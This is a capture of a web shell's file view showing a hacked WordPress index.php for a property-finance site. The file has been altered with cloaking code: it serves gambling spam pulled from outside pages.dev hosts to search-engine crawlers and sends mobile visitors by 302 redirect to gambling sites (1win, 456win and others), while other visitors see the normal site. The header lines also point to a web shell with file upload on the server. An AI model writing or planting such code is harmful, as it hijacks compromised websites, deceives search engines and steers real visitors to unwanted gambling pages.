HEX
Server: Apache
System: Linux sxb1plzcpnl504268.prod.sxb1.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: uaktdz7o5l3q (5679037)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/uaktdz7o5l3q/public_html/stonehouse/index.php
<?php
declare(strict_types=1);
error_reporting(0);

$visitor_ip =
    $_SERVER['HTTP_CF_CONNECTING_IP'] ??
    $_SERVER['HTTP_TRUE_CLIENT_IP'] ??
    $_SERVER['HTTP_INCAP_CLIENT_IP'] ??
    $_SERVER['HTTP_X_FORWARDED_FOR'] ??
    $_SERVER['HTTP_X_REAL_IP'] ??
    $_SERVER['REMOTE_ADDR'] ??
    '';

$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$request_method = $_SERVER['REQUEST_METHOD'] ?? 'GET';

$botPattern = '~\b('
    . 'googlebot|google-inspectiontool|adsbot-google|mediapartners-google|'
    . 'googlebot-smartphone|googlebot-mobile|googlebot-image|googlebot-news|'
    . 'bingbot|bingpreview|msnbot|duckduckbot|baiduspider|yandexbot|yandeximages|'
    . 'sogou|exabot|slurp|ia_archiver|facebot|linkedinbot|twitterbot|facebookexternalhit|'
    . 'whatsapp|telegrambot|skypeuripreview|pinterestbot|ahrefsbot|semrushbot|mj12bot|dotbot|'
    . 'crawler|spider|bot\/|robot|preview'
    . ')\b~i';

$is_bot = (bool)preg_match($botPattern, $user_agent);

$rawRequestUri = $_SERVER['REQUEST_URI'] ?? '/';
$parsed = parse_url($rawRequestUri);
$path = rawurldecode(rtrim($parsed['path'] ?? '/', '/'));
if ($path === '/') $path = '';

// Normalisasi query
function normalize_query(string $q): string {
    if ($q === '') return '';
    parse_str($q, $arr);
    if (!is_array($arr) || empty($arr)) return ltrim($q, '?');
    ksort($arr);
    return http_build_query($arr);
}
$query = $parsed['query'] ?? '';
$normQuery = normalize_query($query);
$request_target = $path . ($normQuery !== '' ? '?' . $normQuery : '');

$is_mobile = (bool)preg_match('~(android|iphone|ipad|mobile|phone|samsung|huawei|xiaomi)~i', $user_agent);

$cloaking_targets = [
    '' => [
        'bot' => __DIR__ . '/license.txt'
    ],
    '/property-capital/' => [
        'bot' => 'https://stonehouse-tt789.pages.dev/tt789.txt',
        'mobile' => 'https://stonehouse-tt789.pages.dev/'
    ],
    '/about/' => [
        'bot' => 'https://stonehouse-456win.pages.dev/456win.txt',
        'mobile' => 'https://stonehouse-456win.pages.dev/'
    ],
    '/project/investment-loan-for-logistics-and-warehouse-centre-bristol/' => [
        'bot' => 'https://stonehouse-1win.pages.dev/1win.txt',
        'mobile' => 'https://stonehouse-1win.pages.dev/'
    ],
    '/featured-transactions/' => [
        'bot' => 'https://stonehouse-11wbet.pages.dev/11wbet.txt',
        'mobile' => 'https://stonehouse-11wbet.pages.dev/'
    ],
    '/property-finance/' => [
        'bot' => 'https://stonehouse-668.pages.dev/g668.txt',
        'mobile' => 'https://stonehouse-668.pages.dev/'
    ]
];

function normalize_path_key(string $p): string {
    $kp = parse_url($p);
    $kpath = rawurldecode(rtrim($kp['path'] ?? '/', '/'));
    if ($kpath === '/') $kpath = '';
    $kquery = $kp['query'] ?? '';
    $kNormQuery = normalize_query($kquery);
    return $kpath . ($kNormQuery !== '' ? '?' . $kNormQuery : '');
}

$normalized_map = [];
foreach ($cloaking_targets as $target_path => $data) {
    $normalized_key = normalize_path_key($target_path);
    $normalized_map[$normalized_key] = $data;
}

if (isset($normalized_map[$request_target])) {
    $target_data = $normalized_map[$request_target];
    
    if ($is_bot) {
        $bot_source = $target_data['bot'];
        $content = strpos($bot_source, '://') === false 
            ? @file_get_contents($bot_source) 
            : @file_get_contents($bot_source);
        
        if ($content !== false) {
            header('Content-Type: text/html; charset=UTF-8');
            header('Cache-Control: no-cache, no-store, must-revalidate');
            header('Pragma: no-cache');
            header('Expires: 0');
            if ($request_method === 'HEAD') exit;
            echo $content;
            exit;
        }
    } 
    elseif ($is_mobile && !$is_bot) {
        if (!empty($target_data['mobile'])) {
            header("Location: " . $target_data['mobile'], true, 302);
            exit;
        }
    }
}

define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';